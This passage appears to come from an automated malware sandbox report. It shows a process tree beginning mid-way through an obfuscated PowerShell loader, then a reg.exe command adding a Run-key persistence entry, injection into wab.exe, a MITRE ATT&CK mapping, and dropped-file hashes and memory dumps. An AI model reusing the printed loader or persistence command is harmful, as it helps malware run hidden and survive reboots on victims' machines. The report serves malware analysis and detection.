.rgrUncr Brug-BlaaSA oroEneiu G ar Selc ausePhil or$MediU Un nSnowdMinieAn.irSlg i Forv SneaFlyvb GrolParae De Op.-BasiD .oreHalvsErnrtMonoiUnfun danaAppetRev.i MonoBehnnTraf Sogn$ IstOKomorwhi.dhypefSta oK mur .gemOp u2 Re ';&($Kvdens01) (Registreringspligter9 'Inc,$O erOTud.r nivdserof.npooLovfr Jorm Led2Fo.b= pnd$Pl,ieO.sanFredvToxi:Sv maM.mbpRatippyntdFixsaSpint AttaChem ') ;&($Kvdens01) (Registreringspligter9 'Hed.ISargmHekspPseuoCounrL,vltIn,a-Svi.M.illoSpiddMunduChamlMacce,rgn canB G,diGorgtOmbysMas,T.aetrLuriaFro.nDitcs EllfDobbe.orbrErot ') ;$Ordform2=$Ordform2+'\Fairest207.Teg';while (-not $Unnamably) {&($Kvdens01) (Registreringspligter9 'Frem$PeriUMassn desnAdveaK romE.deaCircbS.nglUdviy Fin=Sem.(lituT Fyle HjtsD.metAvls-KamiPAfs.a umtChothMe a O.al$SiseO.jenr S pdSp lfFlamoC virIntem Ing2Klos)Bra ') ;&($Kvdens01) $Kvdens00;&($Kvdens01) (Registreringspligter9 'SplaSHvlstmi.ia,averCaratHalc- Su,SU.shl.ixieMyrme Vi pSams Frih5Pseu ');$Underivable=$Strandbredderne[$Manganosiderite++%$Strandbredderne.count];}&($Kvdens01) (Registreringspligter9 'Si,g$MycoRDrage SodgU,sti,aansUddatPhytrCu,te limrpresiMonanPaa,gRehesTermpoutvlIn oiBuntgUniftResieEquar,edo Neut=Russ .hryGMyste.atrtDr,m-Sv nCAd.poFljln.hectPsycevo.enUdsltOlym Om,a$ ourO,orsr,dkedKompfOwlboTerrr Valmevin2Hvdi ');&($Kvdens01) (Registreringspligter9 '.oun$OkseD,scerS.ydo UnsmNgleeBo t Heme=.rkv Tyve[GrdiSReicySkoksschmtPneueA pem .to.LivmC ,aco Unbn HaavAlpeePterrEp,st.imo]Unpe:Capo:For,FL,earBadeoSolimStr.B i caH,emsDj seMa o6Norm4cliqS P,etStelr SomiPrion.ossgP,er( Com$ioniRIno eLen gLarei M,lsBe jtE eprOvereMetar ArriHeten nudg ricsS,ovpSc.elCit,i ongCompt Graepeplrba.s)Indi ');&($Kvdens01) (Registreringspligter9 'Nit,$ SpiK.ldtvRavkd FuneC,punTe.tsTitm2,ori ti s= Ex, Udkm[ StrSFornyPeris.ndetbak.emes mEd,c.SkitTR,dmeCafexEgypt Phy.fideE Invn F,rcAftooKarndL.mpiDogmnOutkgH,ve]Pers: nar:GettA GinSSljdC IsoIAplaITor,.Shu,G Ma eSnekt Tr.S Brot HyprSuk,iUnsun .lugBa,n( Opt$PalaDNonirsviroInsom mase Sku) S.m ');&($Kvdens01) (Registreringspligter9 'Bogc$FrdsOTil.rHvilaSternsc tgAnimofaseuKunst BunaRa.pn nfigNe s=Indk$For,KPsilvUnf,dRengeGardn,acksMi.d2Braz.Phoss antu Phob WeesTsettCrumrtraaiFlinn risghost(Dend3 eri0,gua5Anio2Skru8 The6Limn,Lys 2Minn5Tand3 Out1 Ab,8 Po.)Beds ');&($Kvdens01) $Orangoutang;}"
        6⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of AdjustPrivilegeToken
        
        PID:3012
        
        C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe"
        7⤵
        Suspicious use of NtCreateThreadExHideFromDebugger
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetWindowsHookEx
        
        PID:5596
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Hopbine204" /t REG_EXPAND_SZ /d "%Corequisite205% -w 1 $Brnebilletternes=(Get-ItemProperty -Path 'HKCU:\monti\').Retfrdiggres;%Corequisite205% ($Brnebilletternes)"
        8⤵
        
        PID:5664
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Hopbine204" /t REG_EXPAND_SZ /d "%Corequisite205% -w 1 $Brnebilletternes=(Get-ItemProperty -Path 'HKCU:\monti\').Retfrdiggres;%Corequisite205% ($Brnebilletternes)"
        9⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:5736

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4028

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 47b23fd79d8b2504103e2ffbd3866956a332f4c6d37625195ca0f5ab76a39ee3
MD5 54eea9572b8a1295c4226dd63cadef78
SHA1 1572cc403c755aa7faeb0ee2e795d449e61d485f
SHA512 ca125313f150c27926efd0832f81964c3a6a72a42fa7a4bb9fb8579661d26b6b29ee621683b7be0c84371ce4b3791dcf9fd9da0836fb67c7dd331012dbd48809
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 152B
SHA256 4c0224fb7cc26ccf74f5be586f18401db57cce935c767a446659b828a7b5ee60
MD5 e1b45169ebca0dceadb0f45697799d62
SHA1 803604277318898e6f5c6fb92270ca83b5609cd5
SHA512 357965b8d5cfaf773dbd9b371d7e308d1c86a6c428e542adbfe6bac34a7d2061d0a2f59e84e5b42768930e9b109e9e9f2a87e95cf26b3a69cbff05654ee42b4e
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 152B
SHA256 3a654b499247e59e34040f3b192a0069e8f3904e2398cbed90e86d981378e8bc
MD5 9ffb5f81e8eccd0963c46cbfea1abc20
SHA1 a02a610afd3543de215565bc488a4343bb5c1a59
SHA512 2d21e18ef3f800e6e43b8cf03639d04510433c04215923f5a96432a8aa361fdda282cd444210150d9dbf8f028825d5bc8a451fd53bd3e0c9528eeb80d6e86597
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 6KB
SHA256 9143cd429efdfea296732cd00b91cfb63cb33fa61e3b7c265dbd659aa34e7e80
MD5 ac4cbd8be149b8b6d7dfed08cba96aff
SHA1 4bf1d397d1ac368cf8691d250f1dffc2b34c02da
SHA512 1ac980aa38a99dc4d8f5bb25a220564fcf5426b6a32f93ad88a574f73c126eb63a22cba043cb312feeb311122f9560a85f2a1d3fda1750cfb4725e3f88600cbb
SSDEEP 96:n8kvl17e2wpvWMoiVmdeHOHTs6UWQyV+VD7ziEwb:n8kd5e2GWMXETbrt
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 6KB
SHA256 bf51ddbd8b3dd3e075a5ab7fa0f4b1d398f84153463bc4e77f212f11db297a3c
MD5 58dd3380dba19ba6fd5b4fde5e3433d1
SHA1 5004e5358adec755d590bea078139f9e83db7ecb
SHA512 2eb0c52c09b54f9f16f53facd53969fd4d9b96243d96c5785bfe1ee9e4a6c2e5ca5591281de85c7047ece118ad1bb0a9088ffba5428fcec77942cd5edba29d31
SSDEEP 96:n8kGl17e2qpvWMoiVmdeHOHTs6UWQyV+VD7AiEwb:n8kK5e28WMXETbrg
MD5 SHA1 SHA512 SSDEEP

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Size 16B
SHA256 0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd
MD5 6752a1d65b201c13b62ea44016eb221f
SHA1 58ecf154d01a62233ed7fb494ace3c3d4ffce08b
SHA512 9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 11KB
SHA256 abb45bf15af79a8976298a1341fbd4f63166ac563bfcf3502f2b5f66538f23e8
MD5 199d49b19783fe9fb0819b3263ffa187
SHA1 c1fd92c70999abe04f01b287183a788556e43f38
SHA512 f83102c2b95df3e0af20e76ae97b41e3b73420b0b54229d15c63d9b6b2f1bc689ca63100c57e64e3c42e5022ee4782ad79bc2569c457279ef75c96064f6d4e2c
SSDEEP 192:YoCL/Pgu90RZj8Sr6FA4ZiIxuERzA83h09RZxAexupTIGe2RUIJybRKcznIYWLSN:A9iIxuERzA83h09RZxYMIm1zIDG8+
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 79f9be8dffe82698ccd6c9681819bd595dd40b3d68e6a27c34b75558023c0c47
MD5 8920675eff3ae7ccb4ce3b5ac9d7b088
SHA1 9c414be9a8ec220b53d2f1d44e3dec3256a82db9
SHA512 a146319e9d674fb8f58d87a3e3a78b43c34b6996909dbcf24a7f5da49c40820475ee1017af01cb5b7b660515fa9d52cf1307422f9ef8cda05bbdf79c491f5fc3
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_gfaal1nv.1en.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gfaal1nv.1en.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

Tas2s3Dsarat.pdf

Path C:\Users\Public\Tas2s3Dsarat.pdf
Size 79KB
SHA256 ff743b63b84cf54a0be46b06b8f03158ea8c528f26266aa4952c421392ceb6b3
MD5 837591c4fab367e9ac98d354df00b377
SHA1 9ed3350c8bc122ebcf7c3b271e129ec4eedb4de5
SHA512 7e363de3338a952a49f59ce75151a04a2f1e050e2d3545d508b50090e69d58c38eece05d2b060576560c7034b6344a06d13aec8d5e9540843e5a0f2c4b30a4e0
SSDEEP 1536:V3xvokaLEfJF72Osclc1QtzXto6srMA2ZK+3i7pwAbUHKusFvf45qm:lhoHeFCOxlc1WBsQ/3qpTUqusG5f
MD5 SHA1 SHA512 SSDEEP

Submit Download

Tkaour.vbs

Path C:\Users\Public\Tkaour.vbs
Size 40KB
SHA256 0183c2db2157c8b9797996d34238ca9412e781b2118205715d594b684d1aa956
MD5 de612a7bc9ecdadd3f57adc668f36ac9
SHA1 0027c7c6c55cc8343d72eceb10b58c6a9104e411
SHA512 cfcc55b88dcbb0873b507fe4d6de8c3f85ceb3b03b9f14c08691adba3f81065f195c9e8b7288e842dfd75d4e66cecd9f1f7ac7d29057b4a535234d3e641e74fc
SSDEEP 384:ezftZjvPYm1Ph120BGYv9kVh1G/6AsNsFo3ng233CflCqLeyBb7OUqNLXM++9GKL:eTtZ7J1PhdBGYFkVhs03eJBeUqtp8jL
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/692-13-0x000001F87A170000-0x000001F87A180000-memory.dmp

Download

memory/692-18-0x000001F87A170000-0x000001F87A180000-memory.dmp

Download

memory/692-17-0x000001F87C810000-0x000001F87C83E000-memory.dmp

Download

memory/692-16-0x000001F87C7C0000-0x000001F87C7DC000-memory.dmp

Download

memory/692-50-0x00007FFF6DE40000-0x00007FFF6E901000-memory.dmp

Download

memory/692-15-0x00007FFF7DCD0000-0x00007FFF7DD85000-memory.dmp

Download

memory/692-14-0x000001F87C6E0000-0x000001F87C795000-memory.dmp

Download

memory/692-12-0x000001F87A170000-0x000001F87A180000-memory.dmp

Download

memory/692-11-0x000001F87A170000-0x000001F87A180000-memory.dmp

Download

memory/692-10-0x00007FFF6DE40000-0x00007FFF6E901000-memory.dmp

Download

memory/692-5-0x000001F87A000000-0x000001F87A022000-memory.dmp

Download

memory/2252-55-0x00007FFF6DC40000-0x00007FFF6E701000-memory.dmp

Download

memory/2252-57-0x000002D43F250000-0x000002D43F260000-memory.dmp

Download

memory/2252-143-0x000002D43F250000-0x000002D43F260000-memory.dmp

Download

memory/2252-142-0x000002D43F250000-0x000002D43F260000-memory.dmp

Download

memory/2252-141-0x000002D43F250000-0x000002D43F260000-memory.dmp

Download

memory/2252-140-0x00007FFF6DC40000-0x00007FFF6E701000-memory.dmp

Download

memory/2252-80-0x000002D43F250000-0x000002D43F260000-memory.dmp

Download

memory/2252-56-0x000002D43F250000-0x000002D43F260000-memory.dmp

Download

memory/3012-136-0x00000000073B0000-0x0000000007453000-memory.dmp

Download

memory/3012-84-0x0000000004840000-0x0000000004850000-memory.dmp

Download

memory/3012-98-0x0000000005890000-0x0000000005BE4000-memory.dmp

Download

memory/3012-99-0x0000000005D70000-0x0000000005D8E000-memory.dmp

Download

memory/3012-100-0x0000000005DB0000-0x0000000005DFC000-memory.dmp

Download

memory/3012-101-0x00000000075C0000-0x0000000007C3A000-memory.dmp

Download

memory/3012-102-0x00000000062A0000-0x00000000062BA000-memory.dmp

Download

memory/3012-87-0x0000000005580000-0x00000000055E6000-memory.dmp

Download

memory/3012-86-0x00000000054E0000-0x0000000005502000-memory.dmp

Download

memory/3012-117-0x0000000007020000-0x00000000070B6000-memory.dmp

Download

memory/3012-118-0x0000000006FB0000-0x0000000006FD2000-memory.dmp

Download

memory/3012-119-0x00000000081F0000-0x0000000008794000-memory.dmp

Download

memory/3012-120-0x000000007F980000-0x000000007F990000-memory.dmp

Download

memory/3012-121-0x0000000007340000-0x0000000007372000-memory.dmp

Download

memory/3012-122-0x0000000070470000-0x00000000704BC000-memory.dmp

Download

memory/3012-123-0x00000000705F0000-0x0000000070944000-memory.dmp

Download

memory/3012-134-0x0000000007380000-0x000000000739E000-memory.dmp

Download

memory/3012-133-0x0000000004840000-0x0000000004850000-memory.dmp

Download

memory/3012-135-0x0000000004840000-0x0000000004850000-memory.dmp

Download

memory/3012-85-0x0000000004E80000-0x00000000054A8000-memory.dmp

Download

memory/3012-137-0x00000000074A0000-0x00000000074AA000-memory.dmp

Download

memory/3012-138-0x00000000074C0000-0x00000000074E2000-memory.dmp

Download

memory/3012-139-0x0000000007530000-0x0000000007544000-memory.dmp

Download

memory/3012-93-0x0000000005720000-0x0000000005786000-memory.dmp

Download

memory/3012-83-0x0000000004840000-0x0000000004850000-memory.dmp

Download

memory/3012-82-0x0000000074650000-0x0000000074E00000-memory.dmp

Download

memory/3012-81-0x00000000047C0000-0x00000000047F6000-memory.dmp

Download

memory/3012-144-0x0000000074650000-0x0000000074E00000-memory.dmp

Download

memory/3012-155-0x0000000004840000-0x0000000004850000-memory.dmp

Download

memory/3012-157-0x00000000087A0000-0x00000000096F9000-memory.dmp

Download

memory/3012-156-0x0000000004840000-0x0000000004850000-memory.dmp

Download

memory/3012-158-0x0000000007560000-0x0000000007561000-memory.dmp

Download

memory/3012-159-0x00000000087A0000-0x00000000096F9000-memory.dmp

Download

memory/3012-160-0x000000007F980000-0x000000007F990000-memory.dmp

Download

memory/3012-161-0x0000000004840000-0x0000000004850000-memory.dmp

Download

memory/3012-162-0x0000000004840000-0x0000000004850000-memory.dmp

Download

memory/3012-163-0x0000000077071000-0x0000000077191000-memory.dmp

Download

memory/3012-179-0x00000000087A0000-0x00000000096F9000-memory.dmp

Download

memory/3012-177-0x0000000074650000-0x0000000074E00000-memory.dmp

Download

memory/3012-166-0x00000000087A0000-0x00000000096F9000-memory.dmp

Download

memory/5596-167-0x0000000077071000-0x0000000077191000-memory.dmp

Download

memory/5596-174-0x0000000001D10000-0x0000000002C69000-memory.dmp

Download

memory/5596-175-0x0000000077071000-0x0000000077191000-memory.dmp

Download

memory/5596-176-0x0000000000AB0000-0x0000000001D04000-memory.dmp

Download

memory/5596-165-0x00000000770F8000-0x00000000770F9000-memory.dmp

Download

memory/5596-164-0x0000000001D10000-0x0000000002C69000-memory.dmp

Download

memory/5596-178-0x0000000000AB0000-0x0000000001D04000-memory.dmp

Download